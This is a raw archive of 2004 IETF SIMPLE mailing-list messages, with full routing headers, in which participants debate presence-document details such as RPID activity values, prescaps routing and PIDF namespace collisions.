>>> Appointment: The presentity has a calendar appointment.
>>
>>
>>
>>>  Meeting: This activity category can often be generated automatically
>>>       from a calendar.
>>
>>
>>
>> what is the difference between these too?
> 
> 
> A meeting is a sub-class of appointment; appointment includes my visit 
> to the dentist and attending my son's soccer game.

OK. Can we clarify that in the text?


> 
> 
>>
>>> In-transit: The presentity is riding in a vehicle, such as a car, but
>>>       not steering. Alternatively, the presentity MAY offer more
>>>       specific information.
>>
>>
>>
>> how does one offer more specific information?
> 
> 
> Steering.

OK. It wasnt clear to me that what you meant by more specific 
infomration was one of the other values for this.

>>
>>
>> I think you need to be careful with the word "publication" here. If, 
>> right now, I publish a document saying that I'm in a meeting until 
>> 10pm, then at 11pm, the 'until' time is still in the future relative 
>> to the *publication* time, but not relative to the time at which the 
>> notification is sent. I think you need to say "transmission" and 
>> clarify that this includes either publication or notification.
> 
> 
> How about relative to the 'timestamp' element?
> 
> 

I think thats OK. Timestamp is optional. When used with this element we 
would need to make it mandatory.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar  1 11:44:52 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19211
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:42:35 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUW-0007Tm-DK
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 11:42:04 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21Gg4AD028731
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 11:42:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUV-0007TE-RQ
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:42:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18551
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:41:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqIm-0004GV-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:29:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqHK-0003uF-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:28:27 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqFL-0003Fa-00; Mon, 01 Mar 2004 11:26:23 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AxqFM-0001Pa-B7; Mon, 01 Mar 2004 11:26:24 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqFE-00065U-R2; Mon, 01 Mar 2004 11:26:16 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqEm-0005si-RT
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:25:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16907
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:25:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axpzk-0006gR-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:10:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axpvg-00055K-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:06:08 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxppV-0002Sj-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:59:41 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21FxFNr011454;
	Mon, 1 Mar 2004 10:59:17 -0500 (EST)
Message-ID: <40435DC1.5030000@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Orit Levin <oritl@microsoft.com>
CC: Robert Sparks <rsparks@dynamicsoft.com>, IETF SIMPLE WG <simple@ietf.org>,
        Avshalom Houri <AVSHALOM@il.ibm.com>
Subject: Re: [Simple] Inter-domain Requirements for SIMPLE
References: <DD07841287D0AD428833021705E0D14E0188540A@RED-MSG-52.redmond.corp.microsoft.com>
In-Reply-To: <DD07841287D0AD428833021705E0D14E0188540A@RED-MSG-52.redmond.corp.microsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:58:57 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Orit Levin wrote:


> OL: Are you saying that other optimization approaches can be introduced
> (I would love to hear and explore each one of them) or are you saying
> that a different mechanism for achieving 7.3 can be introduced? (Again,
> let's hear/see it.)

I am saying that we are early in this work, and I think it is good to 
start with the really main requirement here, "optimize message volume 
and bandwidth", and then let everything after that be an implementation 
approach.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar  1 11:44:54 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19454
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:42:47 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUj-0007cO-TU
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 11:42:18 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21GgHKb029258
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 11:42:17 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUi-0007ba-QS
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:42:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18755
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:42:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqGI-0003er-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:27:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqDj-0002UJ-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:24:45 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqAz-0001Vs-00; Mon, 01 Mar 2004 11:21:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axpw2-0000nF-To; Mon, 01 Mar 2004 11:06:27 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpvu-0002ey-8A; Mon, 01 Mar 2004 11:06:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpvV-0002Lr-Va
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:05:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13789
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:05:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axpim-0007m6-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:52:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpXG-0003np-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:40:53 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axp7T-0004F6-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:14:12 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21FDlNr011421;
	Mon, 1 Mar 2004 10:13:48 -0500 (EST)
Message-ID: <40435315.4080509@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mikko.lonnfors@nokia.com
CC: simple@ietf.org
Subject: Re: [Simple] comments on prescaps
References: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DD8E@esebe004.ntc.nokia.com>
In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DD8E@esebe004.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:13:25 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

inline; we didnt cover this during the meeting.

mikko.lonnfors@nokia.com wrote:

> Hi,
> 

>>>5. Generating SIP request based on 'prescaps' extension
>>>
>>>   UA receiving PIDF documents with 'prescaps' extension may wish to
>>>   generate SIP request which would route to UA having capabilities
>>>   described by 'prescaps' extension. UA MAY add
>>
>>Accept-Contact: header
>>
>>>   based on 'prescaps' extension elements. However, as discussed in
>>>   Section 4 device capabilities described by this
>>
>>extension may not be
>>
>>>   consistent what UA has indicated in its registration. Due to this
>>>   request may not route to correct UA.
>>
>>It should not be necessary, in fact, to do this at all. The
>>contact URI 
>>should route you to a UA that has these capabilities.
> 
> 
> Are you saying that adding Accept-Contact: doesn't make any difference
> in proxies in case there exists multiple UAs for a single AoR? 
> But in any case you are right that contact URI should route to correct
> UA.

My point is that its redundant. The definition, I think, of the contact 
URI is that it routes to something with the advertised capabilities. I 
should not have to use caller prefs to route to a device described by 
the tuple.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar  1 11:44:55 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19532
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:42:52 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUp-0007gx-EQ
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 11:42:23 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21GgNkU029561
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 11:42:23 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUp-0007gd-9A
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:42:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18872
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:42:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqG4-0003ZE-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:27:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqDQ-0002QP-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:24:25 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqAw-0001P6-01; Mon, 01 Mar 2004 11:21:50 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axpwf-0000oa-Bk; Mon, 01 Mar 2004 11:07:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpwd-0002x7-FZ; Mon, 01 Mar 2004 11:07:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpve-0002Pg-Ky
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:06:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13909
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:05:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxphT-0007L7-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:51:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpSe-0002Ly-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:36:08 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axp0f-0002i6-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:07:09 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21F6dNr011414;
	Mon, 1 Mar 2004 10:06:40 -0500 (EST)
Message-ID: <4043516C.8080704@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com>
In-Reply-To: <4042B316.4050104@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:06:20 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Paul Kyzivat wrote:

> Jonathan,
> 
> You really went thru this with a fine toothed comb! I have a couple of 
> comments below.
> 
>     Thanks,
>     Paul
> 
> Jonathan Rosenberg wrote:
> 
>>
>>> 3. The Meaning of "open" and "closed"
>>>
>>>    PIDF describes the basic status values of "open" or "closed" only as
>>>    "have meanings of general availability for other communications
>>>    means". We define "closed" in our context as meaning that
>>>    communication to the contact address will in all likelihood not
>>>    succeed, is undesired or will not reach the intended party.  (For
>>>    example, a presentity may include a hotel phone number as a contact.
>>>    After check-out, the phone number will still ring, but reach the
>>>    chambermaid or the next guest.  Thus, it would be declared "closed".)
>>>    For "pres" contacts, "closed" means that no presence status
>>>    information is available.
>>
>>
>>
>> I think this text is useful - I'm just not sure it belongs here. I 
>> suspect that it is, at this time, more appropriately located in:
>>
>> http://www.ietf.org/internet-drafts/draft-sparks-simple-pdoc-usage-00.txt
> 
> 
> The meaning of open and closed in pidf is normative. If we need to 
> extend the definition of open and closed, then it needs to be in a 
> normative document. The pdoc-usage document won't be normative, so it 
> can't be the right place.

I dont agree. I dont think the text above is changing the normative 
behavior, its merely expanding on its usage to make it clear.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar  1 11:44:55 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19680
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:43:01 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUz-0007pe-5k
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 11:42:33 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21GgXLW030100
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 11:42:33 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUy-0007pN-H9
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:42:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19062
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:42:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqFT-0003IL-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:26:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqCh-0002Db-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:23:41 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqAh-0001P6-00; Mon, 01 Mar 2004 11:21:35 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axq06-0000qz-RJ; Mon, 01 Mar 2004 11:10:39 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpz1-000448-BH; Mon, 01 Mar 2004 11:09:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpyN-0003pm-Sn
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:08:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14012
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:06:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axpfw-0006ur-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:49:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpN0-0000e1-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:30:17 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxorF-0000bn-00
	for simple@ietf.org; Mon, 01 Mar 2004 09:57:25 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21Eu5Nr011398;
	Mon, 1 Mar 2004 09:56:06 -0500 (EST)
Message-ID: <40434EF3.3040706@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>, Simple WG <simple@ietf.org>
Subject: Re: pidf namespace, was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)
References: <4041F046.7050207@dynamicsoft.com> <40429762.4070101@cs.columbia.edu> <4042BB0A.20908@dynamicsoft.com> <4042CB54.3080201@cs.columbia.edu> <4042E359.1030304@cisco.com>
In-Reply-To: <4042E359.1030304@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 09:55:47 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I think its a mistake to try and avoid collisions in the local part of 
an element name. This is EXACTLY why namespaces were invented, as Lisa 
pointed out during the session. Jon indicated that his intent for the 
document was that pidf extensions are registered BENEATH 
urn:ietf:params:xml:ns:pidf:status, which is fine. If its just an issue 
of poor wording and an incorrect example, I would hope that can be 
corrected during auth48. Certainly it should not stop us from doing what 
is, IMHO, the obviously right choice.

-Jonathan R.

Paul Kyzivat wrote:

> 
> 
> Henning Schulzrinne wrote:
> 
>>
>> The only limitation of using targetNamespace that there can't be 
>> another extension that also defines activity, relationship, etc., just 
>> in a different namespace. From a practical perspective, this seems 
>> like an advantage, not a drawback. Having two IETF extensions that use
>>
>> <foo:activity>
>> and
>> <bar:activity>
>>
>> seems to invite confusion to address non-problems (lack of 
>> coordination [these are IETF extensions, after all] and shortage of 
>> English words).
> 
> 
> We've already done it:
> 
> <class> is defined in both
> urn:ietf:params:xml:ns:pidf:rpid-tuple and in 
> urn:ietf:params:xml:ns:simple-prescaps-ext.
> 
> It isn't too bad, because they can't be used in the same context. The 
> rpid class can only be used directly below <tuple>, while the prescaps 
> class can only be used within <prescaps>.
> 
>     Paul
> 
>     Paul
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar  1 11:44:56 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19452
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:42:48 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUk-0007ci-MI
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 11:42:18 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21GgHt7029286
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 11:42:17 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUi-0007bR-TR
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:42:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18786
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:42:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqGF-0003dq-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:27:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqDg-0002TY-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:24:41 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqAz-0001P6-00; Mon, 01 Mar 2004 11:21:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axpw6-0000nP-Kh; Mon, 01 Mar 2004 11:06:31 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpw0-0002h1-0g; Mon, 01 Mar 2004 11:06:24 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpvc-0002Mz-NF
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:06:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13875
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:05:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
